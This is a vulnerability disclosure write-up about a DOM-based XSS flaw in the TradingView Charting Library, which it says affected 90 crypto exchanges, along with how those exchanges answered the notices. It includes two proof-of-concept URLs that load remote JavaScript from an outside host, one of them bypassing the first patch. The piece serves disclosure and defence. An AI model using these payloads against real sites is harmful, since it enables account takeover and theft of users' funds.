90+ Cryptocurrency Exchanges are in Danger Because of the Outdated Library

# Intro

Crypto exchanges are the banks of the future, accumulating and operating with large amounts of clients’ funds and, due to the KYC process, are responsible for handling a considerable amount of sensitive data. Therefore, security is a serious issue that should be addressed in advance. We’ve decided to make a research regarding vulnerability disclosure and vulnerability handling process inside these organizations to check how they addressed external reports from researchers. Based on our internal security experience of pentesting exchanges and participating in bug bounties, during last year one vulnerability was pretty common for crypto exchanges. We took this vulnerability as a reason to chat with them. Check the results below.

TradingView Charting Library is very popular across cryptocurrency exchange platforms. Most crypto exchanges use this library as a function in their services to display online trading charts. On September 24, 2018, data on high-risk DOM Based XSS library vulnerabilities was introduced. All exchanges using this library were vulnerable.

The XSS vulnerability can be used to bypass built-in security measures, conduct advanced phishing attacks, or even to perform unauthorized transactions.

# Technical background

Any web app, using the TradingView Charting Library in its services, stores a publicly accessible HTML file called `tv-chart.html` on the server. This file is used to initialize trading charts through location.hash parameters. As a result of the charts initialization, the iframe link to the page of the following type is loaded onto the page.

https://example.com/tradingview/en-tv-chart.x.html#symbol=BTC_ETH&interval=180&widgetbar=%7B%22details%22%3Afalse%2C%22watchlist%22%3Afalse%2C%22watchlist_settings%22%3A%7B%22default_symbols%22%3A%5B%5D%7D%7D&drawingsAccess=%7B%22type%22%3A%22black%22%7D&locale=en&uid=tradingview_36472&clientId=tradingview.com&userId=public_user&chartsStorageVer=1.0&debug=false&timezone=Asia%2FTaipei&theme=Dark

# Details

The vulnerability was located in the third-party trading charts loading function. The function used a link obtained from the user input of the `indicatorsFile` parameter, and transferred it to `$.getScript()`.

A vulnerable link, executing arbitrary JavaScript code, looks like follows.

https://example.com/tradingview/en-tv-chart.x.html#disabledFeatures=[]&enabledFeatures=[]&indicatorsFile=//xss.rocks/xss.js

When users clicked that link, the following code was executed: xss.rocks/xss.js.
After the vulnerability had been publicly disclosed, TradingView released a new library version to fix it. The function, responsible for loading third-party charts, was changed. The new version of this function looked as follows.

This fix was incorrect and the vulnerability can still be reproduced using the `customIndicatorsUrl` parameter while adding the `uid=urlParams` parameter.

https://example.com/tradingview/en-tv-chart.x.html#disabledFeatures=[]&enabledFeatures=[]&customIndicatorsUrl=//xss.rocks/xss.js&uid=urlParams

As of this moment, a new library version has been released. It completely fixes the vulnerability.

# Analysis

All exchange platforms, included in the CoinMarketCap list, were tested for vulnerable library version. As a result, 90 vulnerable exchange services were identified, including those with top trading volumes.

# Disclosure

All vulnerable exchanges were notified of the vulnerability.

• 46 exchanges ignored that alert
• 44 exchanges responded to the alert and requested technical details
• 19 exchanges fixed the vulnerability
• 7 exchanges suggested the reward

# Conclusion

Poor security communication and no responsible disclosure have led to an unpatched vulnerability in dozens of crypto exchanges leaving users’ money accounts under threat. If you use the TradingView Charting Library in your services, you have to check its version and update it in case the vulnerability is revealed.